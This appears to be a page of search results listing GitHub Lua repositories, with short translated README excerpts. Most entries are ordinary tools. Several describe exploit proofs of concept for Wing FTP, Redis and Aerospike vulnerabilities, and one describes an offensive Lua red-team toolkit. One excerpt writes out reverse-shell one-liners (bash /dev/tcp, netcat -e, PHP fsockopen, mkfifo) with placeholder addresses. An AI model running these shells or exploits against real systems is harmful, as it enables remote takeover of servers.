3861 matches found
WingFTP-CVE-2025-47812-illdeed
CVE-2025-47812 - Wing FTP服务器远程代码执行漏洞利用 本仓库提供了针对Wing FTP服务器 中CVE-2025-47812 （远程代码执行漏洞）的概念验证利用代码。攻击者可以通过在认证过程中滥用username参数注入并执行任意的Lua系统命令，从而实现完全的远程代码执行。 📌 漏洞利用功能特性 🔧 远程执行自定义shell命令 🧬 多个内置的反向shell有效载荷（bash、Python、netcat等） 🪪 从Set-Cookie自动提取UID 📦 将成功的UID记录到founduids.txt 🧪 试运行模式（不发送实际请求——安全测试输入/输出逻辑） 🔁...
rspamd
简介 Rspamd 是一个先进的垃圾邮件过滤系统和邮件处理框架，允许通过大量 规则（包括正则表达式、统计分析和自定义服务）， 例如 URL 黑名单。每条消息由 Rspamd 分析并给出裁决，该裁决可供 MTA 用于进一步处理（例如拒绝消息，或添加指示垃圾邮件的特殊头部），并附带其他信息，如可能的 DKIM 签名或建议对消息进行的修改。 Rspamd 可以充当 Milter，允许与流行的 MTA 系统（如 Postfix 或 Sendmail）直接交互。 Rspamd 旨在同时每秒处理数百条消息，并提供大量 实用功能，包括全面的 Lua...
CVE-2020-13151
CVE-2020-13151 POC Aerospike Database 5.1.0.3 主机命令执行 完整文章 @ https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html poc.lua 展示了对服务器的手动利用 cve2020-13151.py 用于自动化利用 run-poc.sh 设置 Docker 环境用于本地实验...
lua-resty-limit-traffic
名称 lua-resty-limit-traffic - 用于在 OpenResty/ngxlua 中限制和控制流量的 Lua 库 目录 名称 状态 示例 描述 安装 社区 英文邮件列表 中文邮件列表 Bug 与补丁 作者 版权与许可证 参见 状态 这个库已经可以使用，尽管仍处于高度实验阶段。 Lua API 仍处于变动之中，并且可能在不久的将来恕不另行通知地发生变化。 示例 demonstrate the usage of the resty.limit.req module alone! http luashareddict mylimitreqstore 100m; server...
luadec
概述 LuaDec 是一个针对 Lua 5.1 的 Lua 反编译器，对 Lua 5.2 和 5.3 的支持处于实验阶段。 它基于 Hisham Muhammad 的 luadec（针对 Lua 5.0.x）以及 Zsolt Sz. Sztupak 的 LuaDec51。 LuaDec 是自由软件，使用与原始 LuaDec 相同的许可证。 编译 git clone https://github.com/viruscamp/luadec cd luadec git submodule update --init lua-5.1 cd lua-5.1 make linux cd...
aiengine
AIEngine（人工智能引擎） AIEngine 是一种下一代交互式/可编程的 Python/Ruby/Java/Lua 和 Go 网络入侵检测系统引擎，具备无需人工干预的学习能力、DNS 域名分类、垃圾邮件检测、网络数据采集、网络取证等功能。 AIEngine 还能帮助网络/安全专业人员识别流量并为 NIDS、防火墙、流量分类器等设备开发签名。 AIEngine 的主要功能包括： 支持引擎运行时与用户交互/编程。 支持 PCRE JIT 进行正则匹配。 支持正则图（复杂检测模式）。 支持六种网络栈（lan、mobile、lan6、virtual、oflow 和 mobile6）。 支...
redis_exploit
CVE-2025-49844 RediShell - Entorno de laboratorio Un entorno de laboratorio práctico para probar y comprender la vulnerabilidad crítica CVE-2025-49844 RediShell en Redis. ⚠️ ADVERTENCIA ¡Esto es solo con fines educativos! Úsalo únicamente en sistemas que poseas o para los que tengas permiso...
CVE-2025-47812-Research
CVE-2025-47812 — Wing FTP Server RCE 研究 背景 在 Akasec 俱乐部进行的网络安全观察实习 （1337 Khouribga）— 2025 年 7/8 月。 研究的漏洞 - CVE : CVE-2025-47812 - CVSS 评分 : 10.0 严重 - 受影响软件 : Wing FTP Server 7.4.4 - 类型 : 通过 Lua 注入的远程代码执行 环境 在隔离且受控的环境中进行利用 （WSL Ubuntu），仅用于教育目的。 内容 - Rapportstagevf4.pdf — 完整报告，包含 静态分析...
OffensiveLua
攻击性 Lua 攻击性 Lua 是一个全面的攻击性安全和红队脚本集合，使用 Lua 和 FFI（外部函数接口）编写。这些脚本利用 LuaJIT 在 Microsoft Windows 上的强大功能和灵活性，执行高级渗透测试和红队操作。 主要功能 执行与部署 ：下载、执行和部署载荷 权限提升 ：UAC 绕过技术和权限提升 系统交互 ：文件、内存操作、网络和注册表操作 远程访问 ：绑定 Shell 和反向连接 侦察 ：系统枚举和信息收集替代方案 监视 ：音频/视频捕获、键盘记录和截屏能力 凭据收集 ：密码库转储和凭据提取 为什么选择 Lua 进行攻击性安全？ 由于多项战略优势，Lua...
CVE-2025-47812
CVE-2025-47812 - Wing FTP服务器远程代码执行（RCE） 作者: blindma1den 日期: 2025年7月 漏洞利用类型: 远程代码执行（未认证） 目标: Wing FTP Server & /dev/tcp/IP/PORT 0&1 Python3: python3 -c 'import socket,subprocess,os; ...' Netcat: nc IP PORT -e /bin/sh PHP: php -r '$sock=fsockopen"IP",PORT; ...' FIFO + Netcat: rm /tmp/f; mkfifo...
misp-wireshark
misp-wireshark misp-wireshark 是一个 Lua 插件，旨在帮助分析人员从 Wireshark 中提取数据并将其转换为 MISP 核心格式 用法 Wireshark 1. 在 Wireshark 顶部菜单栏中找到 工具 菜单，点击 MISP：导出为 MISP 格式 2. 设置导出选项以配置导出器的行为 主过滤器：填写此字段以过滤导出的数据。本质上，只是从界面的全局过滤器中复制粘贴。（由于此问题无法自动完成） 包含 HTTP 负载：是否将通过 HTTP 发送的负载作为文件包含在输出中 导出路径：点击 保存到文件 时导出文件的保存位置 标签：可选的标签，可以附加到某...
isms-builder
ISMS Builder 自托管信息安全管理体系 — 开源，无需云服务 📖 Wiki — Docker 镜像使用与 环境变量、架构与模块、常见问题、参与贡献（德语/英语） ⚠️ 安全警告：传播恶意软件的虚假仓库和副本 ISMS Builder 没有打包的“发行版”、安装程序或可下载的 ZIP 文件 — 唯一 合法来源是本仓库，直接从 GitHub 克隆或下载为纯 源代码。我们已知至少有一个冒充本项目的恶意仓库 （虚假 README、虚假“下载”按钮，链接到一个伪装成截图的 ZIP，其中包含 Windows 恶意软件加载器 — .cmd → .exe → Lua-DLL...
cve-2024-7646
CVE-2024-7646 Descripción Por defecto, nginx.ingress.kubernetes.io/server-snippet está deshabilitado, pero debido a este CVE, nginx.ingress.kubernetes.io/auth-tls-verify-client puede aún insertar fragmentos personalizados, o incluso se puede incluir código lua. Versión corregida controlador...
rehex
逆向工程师的十六进制编辑器 一款跨平台（Windows、Linux、macOS、BSD）的十六进制编辑器，适用于逆向工程及其他一切用途。 手册的在线版本可在此访问：solemnwarning.net/rehex/manual/。 功能特性 支持大文件（1TB以上） 解码整数/浮点数值类型 内联反汇编机器码 高亮和注释字节范围 并排比较整个文件或选定区域 Lua脚本支持（API参考） 虚拟地址映射支持 支持常见文本编码（ASCII、Unicode、ISO-8859-X等） 导入和导出Intel HEX文件 位图数据可视化 二进制模板，用于自动注释数据（类似于010 Editor） 位编辑/...
CVE-2022-24834
CVE-2022-24834 公开利用程序的改进 作者 Conviso Research Team 描述 Ricerca Security @RicercaSec 团队发现并成功利用了一个 Redis 所包含的 Lua 解释器中的有趣漏洞 CVE-2022-24834。该漏洞是 cjson 库中的堆溢出漏洞，详细的分析可参见此处。 我们注意到一些硬编码的偏移量 2 3，这可能会给希望测试该漏洞的人带来不便，因此我们决定将其移除。主要目标是使其更通用，并学习一些 Lua 内部机制。 我们进行的修改 我们使用了一个巨大的字符串，以便更轻松地读取任意内存地址； 我们使用了 Lua 协程来泄露栈...
ExtractedDefender
仅为研究目的，对 Defender 提取的数据进行分组的尝试。 来自 commial 关于 LUA/VDM 的原始研究 https://github.com/commial/experiments/tree/master/windows-defender WDextract https://github.com/hfiref0x/WDExtract...
nginx-mitigate-log4shell
nginx-mitigate-log4shell 使用Nginx LUA脚本防御log4shell（CVE-2021-44228和CVE-2021-45046）漏洞攻击 需要启用Nginx lua模块（https://www.nginx.com/resources/wiki/modules/lua/）。 在server ...上下文中使用include /path/to/mitigate-log4shell.conf;。可以包含在多个server上下文中。 也可以放在http ...上下文中，因此会自动应用于每个Nginx配置。...
cyberprobe
Cyberprobe La documentación completa está en https://cybermaggedon.github.io/cyberprobe-docs/ Resumen Cyberprobe es un conjunto de herramientas de inspección de paquetes de red Inspección Profunda de Paquetes para la monitorización en tiempo real de redes. Esto tiene aplicaciones en la...
CVE-2022-0543
CVE-2022-0543 通过 Lua 沙箱逃逸漏洞实现 Redis RCE 的完整功能利用工具。基于 https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/。 功能： 自动反弹 shell（-I + -P） 单命令执行（-x） 基础 shell（默认） 待办： 需要更好的检查以防止误报 免责声明：此脚本用于审计系统的安全性。仅可在您自己的系统上，或在您已获得书面许可进行利用的系统上使用此脚本。...